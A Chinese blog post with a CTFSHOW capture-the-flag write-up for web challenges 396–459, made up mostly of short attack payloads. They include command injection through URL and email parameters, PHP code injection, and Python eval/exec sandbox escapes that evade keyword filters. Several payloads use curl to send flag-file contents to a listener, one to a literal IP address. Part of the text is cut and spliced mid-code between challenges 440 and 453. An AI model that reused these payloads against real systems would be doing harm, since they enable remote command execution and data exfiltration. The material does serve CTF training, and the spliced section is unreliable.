您当前的位置: 首页 >  yu22x

CTFSHOW其他篇

yu22x 发布时间:2021-02-05 14:52:15 ,浏览量:9

文章目录

    • web396、397、398、399、400、401
    • web402
    • web403
    • web404
    • web405
    • web406不会
    • web407
    • web408
    • web409不会
    • web410、411
    • web412
    • web413
    • web414
    • web415
    • web416
    • web417
    • web418
    • web419
    • web420
    • web421
    • web422
        • 下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。
    • web423
    • web424
    • web425
    • web426
    • web427
    • web428
    • web429
    • web430
    • web431
      • 后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。
    • web432
    • web433
    • web434
    • web435、436、437、438、439
    • web440
    • web441
    • web442
    • web443-444
    • web445、446
    • web447
    • web448
    • web449
    • web450
    • web451
    • web452
    • web453、455、456
    • web454
    • web457
    • web458
    • web459

web396、397、398、399、400、401

url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt

web402

payload:url=file://1/1;echo `cat fl0g.php`>a.txt

web403

url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt

web404

url=http://127.0.0.1111;echo `cat f*`>1.txt;11/a

web405

url=httphp://127.0.0.1111;echo `cat f*`>1.txt;11/a

web406不会


web407

被认为是ipv6地址

ip=cafe::add

web408

用下大佬的话非法字符放在双引号里面绕过email@前缀限制

email=""@a.php

web409不会


web410、411

定义和用法
FILTER_VALIDATE_BOOLEAN 过滤器把值作为布尔选项来验证。

Name: "boolean"
ID-number: 258
可能的返回值:

如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。

payload:
b=yes

web412

payload
ctfshow=%0asystem('tac f*');

web413

payload
ctfshow=*/system('tac f*');/*

web414

payload
ctfshow=-1

web415

payload
k=Getflag

web416

payload
f=ctf::flag

web417

想打人的题,一直base解最后的内容如下

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

payload
ctf=show

web418

给的后门没法用,需要变量覆盖然后利用shell_exec
payloaddie=0&clear=;cp flag.php flag.txt
然后访问flag.txt即可

web419

payload

code=`cp f* f.txt`;

web420

ls找了几个目录发现在/var/www下(ls …/)
剩下的就是打开了
payload
code=nl ../*

还有一种方法,可以参考下大佬写的文章
比如我们想执行 cat index.php,可以依次执行如下命令

>php\\
>dex.\\
>\ in\\
>cat\\

接着执行ls -t >0
这样的话文件0中的内容就是 cat index.php
最后利用sh 0 来执行就可以了

web421

因为flag就在当前目录下,所有相对简单了一些
palyoad nl f*

web422

payload nl *

下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。

最原始代码


from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

web423

无任何过滤,,而且已经导入了os

os.popen('ls /').read()可以看到flag在根目录下。
后面的我们都盲猜flag在根目录下。
payload
open('/flag').read()

web424

去掉了自带的import os
payload
open('/flag').read()

web425

过滤了os字符串,过滤有问题,只会匹配开头
payload
open('/flag').read()

web426

过滤了os|popen,过滤有问题,只会匹配开头
payload
open('/flag').read()

web427

过滤了os|popen|system,过滤有问题,只会匹配开头
payload
open('/flag').read()

web428

过滤了os|popen|system|read,过滤有问题,只会匹配开头
payload
open('/flag').read()

web429

过滤了os|open|system|read,过滤有问题,只会匹配开头
payload
open('/flag').read() open前面有个空格

web430

过滤了os|open|system|read|eval过滤有问题,只会匹配开头
payload
open('/flag').read() open前面有个空格

web431

过滤了os|open|system|read|eval|str过滤有问题,只会匹配开头
payload
open('/flag').read() open前面有个空格

后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。

通过一些特殊方法得到了每个的源码(不是问的群主)

web432

过滤了os|open|system|read|eval
复杂的方法的话可以用类似于模板注入的语句

str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

开个nc监听一下就可以了

web433

过滤了os|open|system|read|eval|builtins
payload

str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

web434

过滤了os|open|system|read|eval|builtins|curl

str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('cu'%2b'rl http://182.92.91.240:4567?p=`cat /f*`'))

web435、436、437、438、439

435
过滤了os|open|system|read|eval|builtins|curl|_

436
过滤了os|open|system|read|eval|builtins|curl|_|getattr

437
过滤了os|open|system|read|eval|builtins|curl|_|getattr

438
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

439
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

python里面可以用分号执行多条语句
比如 a=1;b=2是没有什么问题的
payload

str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web440

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|"
没有了引号,我们可以用chr构造字符串

s="__import__('os').system('curl http://xxx?p=`cat /f*`')"
def ccchr(s):
	t=''
	for i in range(len(s)):
		if iheader('Content-Type', 'text/html; charset=utf-8');
	$s=$request->post['s'];
	if(isset($s)){
		file_put_contents('shell.php', $s);
		$response->end('file write done in /var/www/shell.php');
	}
	else{
		$response->end('s not found');
	}
}
public function exec($request,$response){
	system('php shell.php');
	$response->end('command exec done');
	}

也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。
里面的内容大家就可以随意发挥了。
我写的是


得到flaaag
接着打开就可以了


web454

和上一题基本上没啥区别,就是把exec改成include就可以了

web457

u=admin&p=phpinfo

phpinfo()返回值为true,所以满足$u=='admin'

web458

web459

payload
?u=php://filter/convert.base64-encode/resource=flag.php&p=1

关注
打赏
查看更多评论

yu22x

暂无认证

  • 9浏览

    0关注

    35博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文
立即登录/注册

微信扫码登录